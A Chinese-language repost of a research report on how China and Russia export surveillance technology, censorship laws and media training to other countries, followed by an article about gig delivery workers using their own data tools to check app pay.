举例而言，一宗只报导了华为在西班牙建设一个监控城市的新闻，即不纳入此一培训指标。

而第二类，即：在中国培训海外记者，可能各国政府都没有注意到，因为其中一些培训是由私人机构或新闻机构举办的。

此类培训旨在增加海外对中国的正面报导。许多案例显示，这种培训达到了预期的政治效果。

“培训”一词易被误解。在西方世界，这个字的意思是：将某人提升到一定标准

的熟练度，很可能是某种学术水平。然而，在中国，媒体培训实际上是公共关系目的的免费到中国参访，行程安排都是亲政府议程。……

这种对媒体的安排，实为中国软实力战略的核心。

因此，中国计划在未来几年内“培训”数百名拉丁美洲记者，最佳的解读应该是，让有影响力的意见领袖暴露在北京宣传之下的一种做法。

此外，记者培训通常包含亲身体验信息控制方法的实际运作方式。

由广西的共产党人事部门运营的广西 “百色干部学院” (Baise Leadership Academy) 就是一个旗舰范例，对来自东南亚的官员和记者的培训，就是教他们如何在网上“引导民意”。

4. 信息控制扩散的原因

「图」

本节将提供信息控制扩散的实证数据，并分析为什么相较之下某些国家更易于模仿、购买技术、或接受培训。

根据附录 A 中的实证数据，本文主张，一国的政府体制以及国与国之间的相互关联度可以解释，为什么信息控制扩散在某些情况中较易发生。

解释变量 1: 政权体制类型

「图」

在追踪扩散指标时，政权类型是*模仿*的一个主要变量，但对科技与培训的解释力较弱。

本文中政权类型的定义是依据经济学人信息部 (Economist Intelligence

Unit) 的民主指数 (Democracy Index)，分成“民主制” (democracy)、“混合制政权” (hybrid regime)、和“威权式政权” (authoritarian regime)。

本研究收集的数据显示，威权式政权和混合制更适于模仿俄罗斯和中国。在模仿中国或俄罗斯的 19个国家中(包括俄罗斯与中国相互模仿)，58% 是威权式政权，37% 是混合制， 5%是民主制。

为什么混合制和威权式政权更可能模仿中国和俄罗斯？理由之一或许是独裁国家间倾向更愿意相互学习，因为彼此都面临着类似的生存威胁。

这种倾向使独裁者分享各种科技与政策。早在 1848 年，不同政体的独裁主政者就相互讨论和彼此分享如何对付在欧洲的革命趋势。

异曲同工，在 2010 代初期的“阿拉伯之春”盛行之后，独裁者就参与了“精英学习”，让他们更了解如何塑造更充分的政策。

有些状况下，独裁者之间的互助十分微细，如交换知识，但有时是明目张

胆、无所忌讳的。

在 2011 年有一例，就是沙特阿拉伯积极帮助巴林镇压异议人士。

不仅独裁者之间“互相帮助”，而且，民主国家也在帮助独裁国家镇压人民：

- 《血族：美国人、IBM 和出口的数字警察国家》
- 《IBM和谷歌如何通过中国协助独裁政权的间谍行为？》
- 《雄厚的财力，深藏不露：美国间谍如何协助专制国家构建一个间谍帝国》
- 《一臂之厉：美国企业正在帮助建立中国的奥威尔国家》
- 《美国间谍帮助阿联酋侵犯人权一事提醒了什么》
- 《美国公关公司为以色列间谍软件巨头服务》
- 《华为使用以色列间谍软件监视北京支持的非洲领导人的政治对手》
- 《数字威权主义的崛起：特朗普的鼓舞和美国盟友的积极》
- 《杀死华盛顿邮报记者 Jamal Khashoggi 的杀手在美国接受的培训》
- 《美国公司如何帮助中国借助 DNA 数据追踪公民》
- 《美国雇佣军为什么要帮助威权政府迫害异议人士？》
- ……太多了写不开了

政权类型对于科技与培训这两个指标的解释力较弱。

虽然混合制与威权式政权占所有引进中国和俄罗斯信息控制国家的大多数(56%)，但非全部。

民主国家也会购买监控技术或接受培训，占这两国信息控制扩散所及国家中的 37%。

- 长篇报告，关于全球监视技术的“互利”《国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动？》

解释变量 2: 互联度 (interconnectedness)

「图」

政治实体之间的双边经济、政治、历史和社会的相互关联可以解释为什么中国和俄罗斯的信息控制更易于扩散到某些国家，而非其他国家。

中俄与另一个国家之间的相互联系程度越强，信息控制传到对方的可能性就越大。

此一发现有别于但是也类似于学者 Levitsky 和 Way 所提出的“联系”(linkage)概念。

两位学者研究在后冷战后期，西方国家与某些威权倾向政权间的关系，检视关系中所谓“联系”的概念，因而提出民主措施扩散的一项假设：扩散是建立于国与国之间关系密度的基础之上。

他们发现，当“高度联系”存在，民主化即更有可能会发生。

学者 Ambrosio 与 Weyland 也思考了“联系”和地理邻近是与威权扩散情境的两项因素。本文的论点以这些学者的研究为基础，但在关键领域，提出相当差异的论点。

例如，Levitsky 和 Way 主张，国与国间建立紧密关系的最重要因素是地理邻近性。

然而，中国与国外的互联性却延伸的愈来愈远 —— 可能部分原因在于该国的经济崛起。

海外融资是一个可以说明的实例。

从中国对不同地区的官方融资列表可以显示，非洲位居首位，其次是中欧和东欧 (包括俄罗斯)，以及拉丁美洲。

这些地区之后，名单上才出现南亚、东南亚、中亚和东北亚。本文提出信息控制扩散的数据也描述了同一趋势。

虽然俄罗斯的信息控制已经深入扩散到独联体中的数国，但俄罗斯信息控制所扩散到的其他许多国家并非其邻国。

中国的信息控制在全世界扩散既深且广，因此削弱了“地理邻近是建立相互联系，因而促使推动信息控制扩散的最强因素”此一假设。

- 《🔭 中国版老大哥的世界之旅》

杠杆 “或政府对外部民主化压力的脆弱程度”，可以解释一个国家政策和措施的变化。

可以想象，中国和俄罗斯运用各种杠杆，使别国进口其信息控制，但

中国和俄罗斯如何使用这种杠杆，做到让别国采用这些技术，在本文的研究过程中未能观察到。

最后，扩散的主要原因不太可能是杠杆作用，亦即，透过制裁、军事威胁、或撤出外援这种外部压力。相反，对这种设备和技术有明确需求才是更为合理的假设。

因此，本文提出了“互联度”一词，以阐述信息控制国际扩散背后的原因。

本文一并探讨解释变量和政体类型变量，以评估信息控制扩散的可能性 (见下表)。量测扩散

互联度的替代 ——

「图」

在本文中，“一带一路倡议” (Belt and Road Initiative, BRI)和独联体 (CIS) 也当成显示与中国和俄罗斯有高度互联度的另一种量测替代项。

就这个倡议或组织，参与其一或都参与的国家更有可能使用中国或俄罗斯信息控制。

之所以如此，是因为一方面，“一带一路”和独联体基本上是中国和俄罗斯间实质经济、外交、技术官僚、社会、信息和民间社会关系的替代项，以及另一方面，这是其他参与国家之间这些关系的替代项。

许多因素促成了这种对照。

第一、这两个倡议都可以上溯到历史记载，中俄在古早时期与其他国家曾有紧密的互联度。“一带一路”奠基在古代丝路的复兴。另一方面，独联体植基于前苏联的传统，力图庚续旧张。

其次，对这两项计划，俄罗斯和中国都积极投入。俄罗斯经常拉拢东欧和中亚，视其为势力范围之内，而中国鼓励“一带一路”沿线各国交换思想、物品、和社会互动(这些互动都在双边谅解备忘录中明文推崇)。

在“一带一路”框架中，中国还把记者和媒体培训编了进去，科技和服务的销售也一并纳入。

在一方面，中国企业力图寻找新的出口市场与利润。另一方面，对外贸易在一定程度上是配合政府的协调。

美亚柏科是中国一家网络安全公司，接受中国公安部的指示，培训“一带一路”相关国家数字取证 (见下图 2)。

- 关于美亚柏科，见2015年的报告《“互联网＋”维稳：舆情监控公司去年收入大幅增长》

美亚柏科也部分参与了建立从中国到欧洲的“安全走廊”(Safety Corridor)，旨在把监视维稳服务与产品并入国际发展项目之中。

所谓的 “安全走廊” 目前计划覆盖：哈萨克斯坦、俄罗斯、白俄罗斯、波兰、德国和荷兰。取自美亚柏科信息公司网站，检索日期为 2019 年 5 月 1 日显示“安全走廊”战略规画项目。

美亚柏科受中国公安部指示，为一带一路国家培训数字搜证。该影像于 2019 年 4 月 29 日检索，共列出 19 个国家

该图像于 2019 年 9 月 5 日检索，显示了 29 个国家。美亚柏科删除了图像右上角提到的公安部

5. 北京和莫斯科的核心科技圈

「图」

以下重点说明“互联度”的强度如何导致深广的扩散，并且形成了核心科技圈。

与俄罗斯和中国互联度较低的国家，亦即那些不属于“一带一路”或独联体的国家，就较不可能受到信息控制的广泛扩散，故处于俄罗斯和中国科技圈的外缘。

—— 独联体国家

「图」

独联体是 1991 年 12 月苏联解体后成立的，包括亚美尼亚、阿塞拜疆、白俄罗斯、哈萨克斯坦、吉尔吉斯斯坦、摩尔多瓦、塔吉克斯坦、和乌兹别克斯坦，其目的为鼓励俄罗斯与这些新成立的国家继续在政治、经济、和文化层面合作。乌克兰最初是其中一员，但在

2018 年退出。

本研究发现，俄罗斯的信息控制扩散到 **28** 个国家，这些国家的地理位置相差很远，如巴勒斯坦和墨西哥天各一方。

独联体的国家占俄罗斯信息控制出口的25%，即在 28 个国家中占 7 国。阿塞拜疆、白俄罗斯、哈萨克斯坦、吉尔吉斯斯坦、乌克兰、和乌兹别克斯坦位于俄罗斯科技圈的核心。

这其中每一个国家，不论曾经是或现在仍是独联体国家，都已经模仿了俄罗斯的网络监视法律。

这些独联体国家的许多监视法律都带有一种可疑的氛围，制造了威吓异议份子的空间，此即复制了俄罗斯信息控制的做法。

然而，如果没有俄罗斯提供的监视技术，仅仅是这些法律与恐惧的环境就没有太大的威力。

白俄罗斯内政部从俄罗斯的一家公司叫 Analytical Business Solutions 购买了技术，这家公司的专长是提高互联网上的监视效率。

白俄罗斯政府模仿了俄罗斯法律，很可能已经从俄罗斯购买了 SORM 监视设备。

哈萨克斯坦从位于圣彼得堡的 VAS Experts 公司购买了深度封包检测技术，取得 iTeco 公司的监视工具，MFI-Soft公司的 SORM 技术，从 Speech Technology Center 取得 Protei 语音取证工具，以及 Oxygen Software 的移动取证工具。

哈萨克紧急事务部也购入 Analytical Business Solutions 提供的信息分析平台 Semantic Archive。

吉尔吉斯斯坦从 Oniks-Line 和 Signatek 购买了 **SORM** 设备。

乌克兰还也购入了 SORM 设备。

乌兹别克斯坦从 VAS Experts 和 Protei 进口了深度封包检测技术，MFI-Soft 公司的 SORM 设备，Speech Technology Center 的语音取证，以及 Oxygen Software 的移动取证工具。

乌兹别克斯坦政府还模仿俄罗斯，制定了国家监视法。俄罗斯核心科技圈核心延伸到独联体国家的前线。

——“一带一路”

「图」

“一带一路”倡议于 2013 年正式启动，涵盖 138 个国家；而中国信息控制出口中的 82%是出口到“一带一路”国家(102 国中的 84 国)。

该倡议包括连接中国和欧陆的“丝绸之路经济带”，以及企图恢复以前海路贸易的“21 世纪海上丝绸之路”。

跨亚欧大陆的陆线和海上航线还辅以“数字丝绸之路”(Digital Silk Road)，希

望以数字科技合作将各国与中国串连一起。

- 延伸《哪些欧洲政治家已经陷入了北京的轨道？中国是如何在欧洲扩张的？》
- 《16＋1：北京的外交主线使前苏联国家与布鲁塞尔发生冲撞》

本小节将检视十个参与“一带一路”的国家，显现此处信息控制扩散最为深入(依三个扩散指标)。这些国家成为中国科技圈的核心。

中国在埃及具强大影响力。关于监视科技的移转，华为在该国建立了一个安全城市，海康威视为苏伊士省公交车队提供了闭路电视摄像机。

- 埃及可能是监视技术的热门买家《法国向埃及出售监视社会技术和武力镇压工具已造成大面积死亡和抓捕的人权灾难》

除了这些技术转让外，埃及记者还到北京参加由“中国公共外交协会”安排为期十个月的媒体学人计划。

他们参访了人民日报的媒体设备，接触到专制媒体天地。埃及官员则参访了美亚柏科，了解数字取证。

埃及与中国的合作继续深化。

在 2014 年，埃及与中国签署了一项打击网络犯罪的条约。四年后，埃及通过了一项网络犯罪法，规范社交媒体，模仿中国处理社交媒体平台的做法。

伊朗也受到中国使用信息控制的重大影响。⚠最早出口到伊朗的监视设备之一是华为出售的设备，使政府机构可以读取手机。

另一家中国公司，中兴通讯，也向伊朗出售监视设备，可用于拦截民众通讯。两国的技术合作在 2014 年更进一步，当时中国和伊朗中央级官员会晤，两国同意由中国协助伊朗布建伊朗国家信息网。

伊朗投桃报李，表达一直非常愿意向中国学习。伊朗开发的 Soroush messenger app 全面引用中国国内的应用程序生态系统，允许政府读取。

伊朗的信息技术组织 (Information Technology Organization) 负责人称赞中国“在信息科技应用服务开发方面有四十年的良好经验”，并强调“我们希望能使用这些经验。”

马来西亚是另一个位于中国科技圈核心的国家。马来西亚的记者参访了北京，接受了由中国外交部、教育部、和国有企业华能工业合办的培训项目。

一位中国传媒大学的教授指出，这些经历“可以成为受训者在其本国发展媒体产业的蓝图。”

- 《马来西亚变卦了还要依赖中国？》

培训不只限于记者。

⚠总部设在厦门的网络安全公司美亚柏科在马来西亚安排举办了的数位取证培训课程，教导如何从手机和计算器中读取数据。

该公司提供培训时指出，“美亚柏科坚守‘迈向全球’的战略和‘一带一路’倡议，一以贯之。”

在科技方面，马来西亚一直热衷于买入中国的监视技术。

例如，它已经向上海的依图科技公司为治安人员买入全身摄像头。

此外，它还从阿里巴巴集团取得了一个人工智能交通管理控制系统，用来监看吉隆坡的交通状况。

马来西亚似乎打算延续此一政策方向，首相马哈蒂尔最近宣布，马来西亚将尽可能地多用华为设备。

- 《中国的技术帝国如何重塑全球经济》

此外，马来西亚前副总理阿迈德扎希哈迈表示，中国缜密使用监视设备来监看每一个行动，“值得模仿”。

俄罗斯一直热衷于模仿中国更精密的网上内容过滤技术。⚠只过滤特定内容，而非整个网站，可降低超塞的可能性。

中国防火墙的工程设计师被邀请到俄罗斯分享技术，以加强合作。中国的培训和技术也扩散到俄罗斯。

美亚柏科也对俄罗斯专家提供了数字搜证培训。

华为的安全城市解决方案已在圣彼得堡实现；华为提供了“专为大规模视像数据存储和分析而设计”的云存储解决方案。

- 您可以在我们的专栏《作恶者：中国在帮谁》中找到更多具体内容

坦桑尼亚是一个极佳的例子，说明信息控制的扩散是近似线性的方式，一开始是技术转移，然后是培训，最后进展到模仿。

在 2014 年，华为宣布，已经在坦桑尼亚布建了一座安全[监视]城市。第二年，总部位于杭州的浙江大华技术公司为桑给巴尔总统办公室装配了智能监视相机，⚠能够辨识面部和声音。

- 延伸《匿名终结者：为什么说声音识别是所有隐私入侵手段中最为可怕的一种？》
- 《香港的抗议活动中再次强调了你的脸如何成为武器》
- 《让面部识别失效的思考方式》
- 以及在这个栏目中看到更多解决方案《生物识别及对抗方法》

一年后，人民日报称，坦桑尼亚记者参加了由中国公共外交协会主办的媒体学人计划。

随后，坦桑尼亚和中国之间更强化的联系促使坦桑尼亚政府努力模仿中国式的审查概念。

坦桑尼亚前运输通信部副部长 Edwin Ngonyani，在由坦桑尼亚政府和中国

国家互联网信息办公室合办的中坦新媒体圆桌会议上，慨然宣

称：“我们的中国朋友在他们的国家已经办到了封锁这种媒体，并用他们自建、既安全、有建设性、又受欢迎的网站取而代之。我们还未到那一步，当我们仍在使用这些平台之际，应该防止其中的误用。”

泰国是中国监视科技成功出口的另一个案例。海康威视接下了为泰国商务部提供闭路电视监视的项目，并为泰国警方提供了携带式录象机，能实时录像和远程监看。

华为与泰国警方合作，实施 eLTE 集线合作创新项目(eLTE Trunking Joint

Innovation Project) 监视解决方案。

与其他“一带一路”各国情况一样，⚠美亚柏科已经培训了泰国移动和计算器搜证专家，泰国记者也在中国接受了媒体培训。

⚠泰国进一步表示，打算从中国学习，创建自己的防火长城。

虽然泰国建立单一网络网关的初步计划已经中止，但是最近有一条法律已经生效，模仿了中国 2017 年通过的模糊又广泛的网络安全法，准许政府对公司和个人财产进行入侵性现场检查。

乌干达与中国的信息控制合作范围广泛，稳步推展。

在 2017 年，乌干达官员前往北京，会见了国企“中国电子进出口有限公司”(CEIEC)的代表。双方同意，中电将帮助乌干达监看社交媒体和其他“网络犯罪”相关服务。

同年，乌干达记者参加了由中国公共外交协会主办，在位于北京的中非新闻中心，进行为期 10 个月的媒体培训。

次年，总部位于深圳的华为交付乌干达政府 900 台监视摄像头，支持该国的智能警务计划，还协助政府读取反对派人士的加密通信。

最后，在 2019 年 6 月，乌干达通信委员会公布了一项互联网监管草案，规划集中控制进出该国的国际信息流。

此一做法非常类似泰国打算建立单一的国际网络网关。据乌干达一位主管法规流程的内部人士指出，“这将把乌干达内的互联网，⚠转变为类似中国集中控制的做法，建置一个中心系统，控制一切。”

赞比亚与中国之间广泛的互联度说明该国位于中国科技圈的核心。为

了控制其国民，赞比亚政府依靠华为和中兴通讯提供的审查和监视设备。

据称，⚠华为员工协助赞比亚政府拦截记者和反对派团体的数字通讯。

- 见《华为使用以色列间谍软件监视北京支持的非洲领导人的政治对手》

华为还实施了一个智能城市，增强赞比亚的实体监控能力。

此外，在中国参加了媒体培训的赞比亚记者对该国的媒体界具有相当的影响力。

一位赞比亚部长指出，赞比亚沿着“中国的路线”管理互联网。

赞比亚之南的津巴布韦与中国在信息控制方面有长期合作。

早在 2005 年就有报道指出，中国当时正在商谈销售通信拦截设备给津巴布韦，此后疑虑四起，中国的设备用在干扰无线电传播。

这些事例是中国出口审查技术的最早例子，之后，中国的手段更加精进了。

除了阻绝广播内容外，一些中国公司还提供了监视设备。

总部位于杭州的海康威视与津巴布韦的“国家硬件和电气”**(Nations Hardware and Electrical)**公司合作，在该国布建更广泛的闭路电视监视网络。

同样，云从科技公司 (Cloudwalk Technology Co.) 也提供面部识别摄像头，可能涵盖铁路与机场，以及一个全国性人脸数据库等等。

最晚自 2011 年起，津巴布韦记者接受了信息散发技术培训 (引导对话、在专制环境中管理媒体)。

津巴布韦一直在模仿中国，也对此直言不讳。该国正在开发等同于社交媒体平台的本土 app，以加强管控。

在2016 年，前津巴布韦信息通信技术部长 Supa Mandiwanzira 说：“总统[穆加贝]说，让我们着手做吧，而且我们正在做。他举中国为例，中国在保护互联网的完整性上，已经发展到相当规模了。”

尽管委内瑞拉的地理位置并非位于「一带一路」的陆线或海线，该国仍是“一带一路”的一部分，也处于中国科技圈的核心。

在 2008 年全球金融危机爆发前不久，在当时中国国家主席胡锦涛和委内瑞拉总统查维兹领导下，两国关系开始加温与深化。

更紧密的双边合作与互联度也转化成两国在监视方面的合作。在 2008 年，委内瑞拉司法部官员访问深圳，学习国民身份证(national ID card)。

在委内瑞拉政府眼中，身份证是个值得效仿的项目。大约十年后，在位于深圳的中兴通讯协助下，委内瑞拉正在实施一种新的智能身分证，也称为“祖国卡” (fatherland card)，或西班牙文 carnet de la patria 所称的“国内卡”。

该卡包含大量信息，不只是出生年月日、家庭数据，还包括就医纪录、社交媒体活动、党籍、以及是否在选举中投过票。

卡片上的信息可鼓励某类行为，如，做个良民。

换句话说，中国的社会信用体系靠着「大数据收集和分析，以监看、形塑和评比在经济和社会过程的行为」，不再限于中国。

- 《“社会信用”监视：英国、中国、美国和日本【Viedo】》
- 《西方社会距离中国式的”社会信用体系”监控还有多远？》
- 《“深夜上网”都会降低你的“社会信用评分”？无人能摆脱这种强制性监视》
- 《监视操纵社会：中国尝试通过社会信用系统改变社会行为》
- 《胡萝卜：中国当局大举奖励最顺从的公民》
- 《中国式的反乌托邦在西方》

然而，中国和委内瑞拉之间的监视合作还尤有甚之。

为了让委内瑞拉官员对人民有更多的控制，华为、中兴、以及中电在委国全境内，建制了多座智能城市和安装数千台闭路电视摄像机。

同时，华为也替委内瑞拉技术专家提供系统操作的培训。中国沿着“一带一路”贸易路线所建的核心科技圈。

—— 重迭的科技圈

「图」

中国科技圈和俄罗斯科技圈在总共 20 个国家发生重迭。有趣的是，深处于俄斯科技圈的每一个国家，也部分处于中国的科技圈内。

中国在白俄罗斯、哈萨克斯坦、吉尔吉斯斯坦、乌克兰、和乌兹别克斯坦都很活跃。

另一方面，俄罗斯在其邻国以外，只出现在中国科技圈核心诸国中的一国；在泰国，有一家专门进行声音取证的俄罗斯公司 Speech Technology Center 一直在提供设备。

6. 扩散的影响

「图」

本文讨论扩散的主要结果是创建了“科技圈”，这是一个地理区，却给信息控制出口国取得了各种先占优势。

这些优势可分成政治、经济、和情报相关的优势。

在政治上，信息控制的增生强化了专制政权。例如，俄罗斯信息安全观的广泛采用，有助于俄国政府对内巩固其合法性，因为政府可以宣传其模式受到

国外模仿的此一事实。

俄罗斯把信息控制系统扩散海外，俨然奠定其规范制定者的形象。

中国对外国政府官员和记者提供培训，与海外领导人物打好关系，让他们了解中国所认知威权信息环境应如何运作。

可能会有人质疑，培训某一国中的一些政府官员或记者会有影响吗，但是，在全球层次，培训数以千计的人可能会带来大幅的结构变化，进而使各国只有更依赖中国的设备和技术。

⚠美亚柏科的信息安全学院已经培训了 1000 多名海外执法人员进行数字取证，而中国公共外交协会计划到 2020 年每年培训 1,500 名外国记者。百色干部学院，东南亚记者和官员在此接受中国信息控制培训

在经济上，信息控制的扩散为出口国创造了新的市场。

在中国和俄罗斯，已经形成了类似于军工综合体。

- 《不流血的政变：军事工业综合体接管选举》
- 《超级战士：DARPA 想要制造精神控制的战争武器》
- 《解密文件：科技产业巨头为什么能成为巨头？私有化间谍活动如何发动了认知战争？》

此一安全工业综合体的组成包括依赖安全相关产业、民间保安公司、和警方的政客。

其中的每一实体单位与每个人都得利于国内提高的保安支出和国外出口。

信息控制为中国的海康威视、华为，俄罗斯的 Protei 以及 VAS Experts 等监视和审查设备公司创造了大笔的利润。

- 《在中国：致富的捷径》

信息控制技术的出口对中国来说是一个“双赢”。例如，厄瓜多尔卖石油给中国，回收中国相关监视的采购。如此为中国创造了更多的就业和收入。

将信息控制扩散到科技圈也创造情报使用之虞。

例如，中国把非洲联盟(African Union)的总部建在埃赛俄比亚国的亚的斯亚贝巴 (Addis Ababa)，据称，已经把安装当地计算器系统中的大量数据传送回中国。

- 《非洲人的脸被用来训练中国老大哥：北京正在努力将其监视技术输出到发展中国家》

中国可能转而利用这些情报，更有效的实现其在非洲大陆的外交政策目标。

在巴基斯坦，华为提供的闭路电视摄像机中发现了莫名的 Wi-Fi 模块，有汲取信息风险之虞，换言之，监视产品的出口可能让这个出口国取得了情报好处。

值得注意的是，⚠并非仅仅只有中国希望保留能读取已经出口的设备的权力。任何出口国都有此想法。

- 在这里看到可视化报告《全球监控行业—— 谁是大哥？谁在作恶？》

向吉尔吉斯斯坦提供监视装备的多家俄罗斯公司被指控在系统中留有后门，在系统安装后，让这些公司仍能继续读取讯息。影响力的同心圆。内圈代表核心，往外代表科技圈的外缘

扩散愈广也会影响信息控制在全球的实施和运用。以津巴布韦为例，审查和监视科技以及宣传培训是中国向该国的主要出口。

这种扩散确实增加了津巴布韦通过监视科技引起恐惧的选项，以及审查与操纵其民众的能力。

换言之，中国对津巴布韦出口的提升，使该国有了更多的信息控制选项。

同时，信息控制的使用可能随扩散而改变。

津巴布韦可能原本只选择仰赖审查和战略信息散发，但与中国的互动肯定使此一非洲国家更能全面采用此一做法。

津巴布韦与中国信息管理方式逐渐融合，在前者明言要模仿后者之时，已经不言可喻。扩散对津巴布韦的影响。全面深入研究津巴布韦信息控制超出了本文的范围。因此，上述描述中国信息控制在该国扩散之前与之后的四图是假设的。

然而，在扩散过程中，该国向中国模式趋同并非假设，而是基于本文收集的证据。

结论

「图」

本文综观大约十三年以来中国和俄罗斯的信息控制出口。

在此期间，扩散的科技在本质上发生了巨变。

最初，大多是粗糙的审查和监视科技往国际扩散。这包括了中国装置，出口到津巴布韦干扰无线电广播，以及俄罗斯提供给前苏联国家的过滤和语音取证设备。

逐渐，这些出口展现多样化，早期的初级品变得精良。

⚠现在我们正在研究扩散的是具面部识别技术的闭路电视摄像机、形形色

色的数字搜证工具、智能国家身份证、政府智能数据库和所谓的智能城市。

在这个瞬息万变的环境中，重要的是追踪俄罗斯和中国正在从事何种开发和部署，以便预测国外明天会发生何事。

当然，伊朗、泰国、和委内瑞拉等国家都在开发各自的技术和科技，然而，了解俄罗斯和中国信息控制在各国醒目的存在，是辨识它们扩散全球趋势的重要研究起点。

那么，面对这些趋势，该如何因应？不幸的是，没有简单的答案—部

分原因是难以阻止军民两用信息控制科技和技术的散布 —— 更，民主国家自己也热衷购买信息控制设备。

当培训被描述成善意提供，而非战略信息扩散技术的分享渠道时，即不能受到无的放矢。

尽管如此，民主国家仍然可以采取行动。在国内，民主国家不必部署所有具高度监视功能的工具。

马萨诸塞州正在考虑立法，限制面部识别的使用。旧金山已经通过了此一措施。

- 不过需要注意的是《禁止面部识别可以做到什么、不能做到什么》

民主国家还应努力使个人装置和通信渠道更能抵抗过滤或监视设备。然而，现状是正如其反。

最近，澳大利亚通过了一项法律，扩张监视，侵害了点对点的加密信息，而这种做法比较在威权政权中常见。

加拿大、新西兰、英国、和美国打算让主管当局能够进入存取点。

- 在这里看到《美国可能禁止无法被破解的端到端加密通信》
- 《Facebook找到了让端对端加密失败的方法》
- 《这些使用暗网的人是如何被抓到的？》
- 《他们是如何抓捕说真话的人？⚠灾难和教训》

最后，无庸置疑，在民主国家，公权力使用监视装置时，应遵循透明、由公众问责的程序。例如，应订定制衡机制，使只能让当地警察

接触的监视设备，不被国家情报机构取得。

现在的状况是，完全相反。

虽然这些建议本身都不能阻止监控技术在全球散布，但是全面的防范可以降低未来可能的滥用。

全球言论表达自由和人权状况逐渐恶化。迄今为止，超过一百多个国家已经购入与模仿俄罗斯和中国的信息控制，并且接受过这两国的培训。

希望本报告能帮助更多人了解这一局面 —— 它之所以如此糟糕来自当权者之间的合谋，不论是哪种政治体制。

⚠我们必须让各国公民了解这些知识，让更多人加入到反抗中来 —— 因为作为被监视对象，我们除了彼此之外，别无依靠。〇

本报告作者：Valentin Weber；您可以在这里看到俄语版；在这里看到英语版。

此外，我们昨天推荐了一本书，简介见下图，在这里下载：https://t.me/iyouport/6745。〇

原文

P 快递小哥的反抗：收集自己的数据检查算法暴政的剥削 - iyouport

你应该了解的现实

【2021年6月1日存档】值得中国零工工人学习的反抗方法

【按】自去年中国网络开始流行为快递骑手利益申诉的文章 “困在系统里” 之后，零工工人是如何被压迫的这一问题开始得到更多人的关注。

但仅仅关注是不够的，人们应该认识到这个问题的根本 —— 算法暴政，并由此找到解决方案。

就如如今全世界都在使用Uber等打车应用那样，全世界也都在使用外卖和网购应用程序；尤其是疫情造成的外出限制，这类零工经济正在占据越来越多的人力，算法暴政也正在侵犯更多人的权益。

美国的外卖小哥开发了一个工具，帮助零工工人了解自己被剥削的现状。这是值得中国零工工人学习的反抗方式。

Armin Samii 去年7月骑车为 UberEats 工作了几个星期，当时他接受了一个他估计最多需要**20**分钟的外卖工作。但是，该应用程序带领他爬上了匹兹堡最陡峭的山坡之一，单程**4**英里，耗时**1**小时。然后他注意到，Uber 只向他支付了1英里的费用 —— 把他当成乌鸦了，他要是真能飞的话从起点和目的地之间的距离就是1英里，但他是人啊，骑自行车的路程可不是这么短的。

“我只做了20次送货，这种情况就已经发生在我身上了”，Samii 说，“对于全职做快递的人们来说，他们会这么深究吗？他们会发现这个问题吗？”

Samii 是一名软件工程师。于是他创建了一款谷歌浏览器扩展 **UberCheats**，帮助快递工人发现薪酬差距。该扩展会自动提取每次递送路程的起点和终点，并计算出两者之间的最短行程距离。如果这个距离与Uber支付的费用不一致，该扩展就会标记出来，以便供用

户仔细检查和申诉。

到目前为止，只有几百名工人在浏览器上安装了 UberCheats。Samii 并不了解快递员是如何使用该扩展的，但他表示，有些人告诉他，他们已经用它来寻找薪酬中的问题。上周，当**Uber**将该扩展标记为“商标侵权”时，谷歌短暂地删除了该扩展，但在 Samii 提出上诉后，谷歌推翻了其决定。

该数字工具与其他弹出式窗口结合使用，以帮助自由职业者抵制不透明算法的操纵，夺回控制权，算法控制下的薪酬结构可能随时改变。这种需求在大流行期间才有所增长，DoorDash、亚马逊和 Instacart 等公司已经雇用了更多的承包商，以支持物流需求的激增。零工经济的扩张可能会在这里停留。美国劳工统计局预测，到**2029**年，“快递和物流”行业的增长可能会比没有疫情的情况下多出**13%**到**30%**。根据研究和倡导组织 Fairwork 的数据，在全球范围内，多达**5,500**万人从事零工工作。

这些项目源于实际需要。在美国，许多零工工人为了纳税目的而保持追踪自己的里程和支出。但这些项目也源于工人们对支付他们工资的公司越来越不信任。“我知道零工公司的商业决策意味着他们的工资本来就不会高”，Samii 说。但他说，他没有想到这些应用程序可能“支付的薪水比你实际做的工作要少得多”。

乔治城大学研究劳工的研究员凯蒂·威尔斯（Katie Wells）说，这些技术工具对零工工人特别有帮助，因为他们的工资很低，而且对于孤立的没有工会的工人来说，很难分享或找到关于工作报酬的信息。“所有事情都被改变了，被隐藏在算法背后，这使得你更难弄清楚你的收入和支出，更无法知道你是否被骗了”，威尔斯说。

零工工人往往有自己的方式来跟踪业务支出。有些人乐于使用电子表格；有些人则在快递箱里放着笔和记事纸，以便记录里程和油费。还有一些人使用专门为税务目的追踪里程的应用程序，如 Stride 和 QuickBooks Self-Employed，司机可以在拉客和送货时将其设置为在手机后台运行。

但一些工人被其他零工工人开发的本土工具所吸引，他们认为自己可能会从公司收集的信息中获利。

Driver’s Seat Cooperative 于2019年推出，帮助工人从 Uber、Lyft、DoorDash 和 Instacart 等打车和送货应用中收集和分析自己的数据。40个城市的600多名零工工人通过 Cooperative 汇集了自己的信息，

帮助他们判断何时何地登入每个应用上能赚钱最多，以及扣除开支后的收入。

而该公司则希望将这些数据卖给有兴趣了解更多关于零工工作的交通机构，并将利润转给 Cooperative 成员。到目前为止，只有旧金山的一家城市机构为这些数据付费，为当地的一项交通研究向 Driver's Seat 支付了45700美元。

欧文·克里斯托弗森在波特兰为 Uber 和 Lyft 开了六年的车，在 Driver's Seat 推出时，他就注册使用了。他希望这类项目能帮助所有司机更好地追踪他们的消费挣钱情况。“其实要弄清楚你作为一个使用自己车辆的零工工人在这方面的投入是非常复杂的”，他说，“这是那些公司的一种主动剥夺的行为，因为很多司机可能缺乏资源或技能来了解自己的真实时薪。”

Uber 发言人 Matthew Wing 在一份声明中表示，该公司已经建立了“自己的” 在线工具来帮助司机估算他们的工资，包括小费，但不包括支出。“如果其他工具准确地给司机提供额外的信息和信心，一般来说，这是一件好事”，他说。

一些工人已经将他们对数据的推崇诉诸法庭。一群英国 Uber 司机根据欧盟的《通用数据保护条例》(GDPR) 在阿姆斯特丹起诉了这家打车公司，GDPR让欧盟公民对自己的个人数据有更多的控制权。这些司机表示，他们通过向Uber提出请求获得的个人资料存在漏洞，包括公司如何评估他们的表现的细节很少。

